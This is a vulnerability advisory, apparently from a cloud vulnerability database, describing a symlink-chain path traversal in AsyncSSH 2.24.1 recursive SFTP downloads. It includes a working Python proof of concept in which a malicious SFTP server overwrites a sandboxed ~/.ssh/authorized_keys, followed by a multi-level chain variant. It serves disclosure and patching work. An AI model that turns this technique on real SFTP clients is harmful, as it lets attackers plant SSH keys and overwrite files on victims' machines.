
Cloud Vulnerability DB
A community-led vulnerabilities database
In AsyncSSH 2.24.1, a malicious or compromised SFTP server can make a recursive get() or mget() create or overwrite files outside the requested download directory, by sending a chain of symlinks that gets past the symlink check added in 2.24.1. Files anywhere the client process can write can be reached, including files such as ~/.ssh/authorized_keys. No non-default options are needed.
During a recursive download, the client recreates the server's symlinks locally. AsyncSSH 2.24.1 added a check that each symlink target stays inside the download directory, but the check treated .. as plain text instead of following symlinks the client had already created earlier in the same download.
A server could first send a symlink s -> ., which points at the download directory and is allowed. A second symlink X -> s/../X was then also allowed, since removing s/.. as text leaves X. But because s is a symlink to the download directory, s/.. really refers to its parent, so X points outside the download directory. If the server then lists X again as a directory or file, the client writes through the new symlink to a location outside the download directory.
Chaining the same pattern (l0 -> ., l1 -> l0/.., l2 -> l1/.., and so on) climbs one more directory level with each link, so writes are not limited to the parent of the download directory.
Symlink targets are now resolved against links already present in the download directory, and targets whose meaning could change as later entries are downloaded are rejected. When follow_symlinks is not set, the client also confirms that each file and directory it writes stays within the download directory.
A malicious or compromised SFTP server can create or overwrite files outside the download directory of a client performing a recursive get() or mget(), anywhere the client process has write access. With a download directory under the user's home directory, this can include ~/.ssh/authorized_keys, shell startup files, or application configuration and autostart files, which may allow the attacker to log in as the user or run code depending on the environment. Existing files can also be overwritten or truncated, causing data loss.
Downloads from trusted servers are not affected.
Don't perform recursive downloads from SFTP servers that aren't trusted.
The following PoC runs an unmodified AsyncSSH client against a malicious in-process AsyncSSH SFTP server over loopback.
It creates a temporary sandbox containing a fake ~/.ssh/authorized_keys, performs a normal recursive get(), and verifies that the server caused the file outside the requested destination to be overwritten.
The known_hosts=None setting is only used because the test server generates a temporary host key. The SFTP transfer itself uses the normal/default transfer options.
The marker placed in authorized_keys is intentionally non-functional; the PoC only demonstrates attacker-controlled overwrite and does not attempt an SSH login.
Test environment: Linux, Python 3.12, AsyncSSH 2.24.1.
#!/usr/bin/env python3
import asyncio
import errno
import io
import os
import stat
import tempfile
import time
import asyncssh
from asyncssh.constants import (
FILEXFER_TYPE_DIRECTORY,
FILEXFER_TYPE_REGULAR,
FILEXFER_TYPE_SYMLINK,
)
from asyncssh.sftp import SFTPAttrs, SFTPName, SFTPServer
ATTACK_DATA = (
b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIATTACKERKEY attacker\n'
)
VICTIM_DATA = (
b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIVICTIMKEY victim\n'
)
class _NoAuthServer(asyncssh.SSHServer):
def begin_auth(self, username):
return False
class _SparseBytesIO(io.BytesIO):
"""In-memory file supporting SEEK_DATA / SEEK_HOLE."""
def seek(self, offset, whence=io.SEEK_SET):
size = len(self.getbuffer())
if whence in (os.SEEK_DATA, os.SEEK_HOLE):
if offset >= size:
raise OSError(errno.ENXIO, 'no data at or beyond EOF')
return offset if whence == os.SEEK_DATA else size
return super().seek(offset, whence)
class _SymlinkChainSFTPServer(SFTPServer):
async def lstat(self, path):
return SFTPAttrs(
type=FILEXFER_TYPE_DIRECTORY,
permissions=stat.S_IFDIR | 0o755,
)
async def stat(self, path):
return SFTPAttrs(
type=FILEXFER_TYPE_DIRECTORY,
permissions=stat.S_IFDIR | 0o755,
)
async def readlink(self, path):
if path.endswith(b's'):
return b'.'
return b's/../.ssh'
async def scandir(self, path):
if path.endswith(b'src'):
yield SFTPName(
b's',
attrs=SFTPAttrs(
type=FILEXFER_TYPE_SYMLINK,
permissions=stat.S_IFLNK | 0o777,
),
)
yield SFTPName(
b'.ssh',
attrs=SFTPAttrs(
type=FILEXFER_TYPE_SYMLINK,
permissions=stat.S_IFLNK | 0o777,
),
)
yield SFTPName(
b'.ssh',
attrs=SFTPAttrs(
type=FILEXFER_TYPE_DIRECTORY,
permissions=stat.S_IFDIR | 0o755,
),
)
elif path.endswith(b'.ssh'):
yield SFTPName(
b'authorized_keys',
attrs=SFTPAttrs(
type=FILEXFER_TYPE_REGULAR,
size=len(ATTACK_DATA),
permissions=stat.S_IFREG | 0o600,
),
)
def open(self, path, pflags, attrs):
return _SparseBytesIO(ATTACK_DATA)
async def main():
host_key = asyncssh.generate_private_key('ssh-ed25519')
async with asyncssh.listen(
'127.0.0.1',
0,
server_host_keys=[host_key],
server_factory=_NoAuthServer,
sftp_factory=_SymlinkChainSFTPServer,
) as listener:
port = listener.sockets[0].getsockname()[1]
with tempfile.TemporaryDirectory(prefix='asyncssh-symlink-poc-') as home:
os.chdir(home)
os.mkdir('.ssh')
with open('.ssh/authorized_keys', 'wb') as f:
f.write(VICTIM_DATA)
print(f'sandbox HOME : {home}')
print(f'destination : {home}/dst')
async with asyncssh.connect(
'127.0.0.1',
port,
username='guest',
known_hosts=None,
) as conn:
async with conn.start_sftp_client() as sftp:
start = time.monotonic()
await sftp.get('src', 'dst', recurse=True)
elapsed = time.monotonic() - start
link = os.path.join('dst', '.ssh')
resolved = os.path.realpath(link)
with open('.ssh/authorized_keys', 'rb') as f:
content = f.read()
escaped = not os.path.abspath(resolved).startswith(
os.path.abspath('dst') + os.sep
)
print(f'copy completed : {elapsed:.2f} s')
print(f'dst/.ssh target : {os.readlink(link)!r}')
print(f'resolves to : {resolved}')
print(f'escaped dst dir : {escaped}')
print(f'authorized_keys : {content!r}')
print(f'OVERWRITTEN : {content == ATTACK_DATA}')
asyncio.run(main())Run:
( ulimit -v 1000000; timeout 60 python repro.py )Observed:
dst/.ssh target : 's/../.ssh'
resolves to : /tmp/asyncssh-symlink-poc-XXXX/.ssh
escaped dst dir : True
authorized_keys : b'ssh-ed25519 ...ATTACKERKEY attacker\n'
OVERWRITTEN : TrueI separately validated the same primitive with a destination nested three levels below the sandbox root:
l0 -> .
l1 -> l0/..
l2 -> l1/..
l3 -> l2/..Observed results:
l1: target='l0/..' resolves to .../level1/level2
l2: target='l1/..' resolves to .../level1
l3: target='l2/..' resolves to .../sandbox
level1/level2/pwn1 : PWNED
level1/pwn2 : PWNED
pwn3 : PWNED
level1/app/critical.conf : PWNED
RESULT: multi-level chain CONFIRMEDAll demonstrated writes in both tests were contained inside temporary test sandboxes.
This issue is fixed in AsyncSSH 2.24.2.
Thanks to Jan Mrowiec and Adrian Korwel for reporting this issue and providing detailed analysis and proof of concept code.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."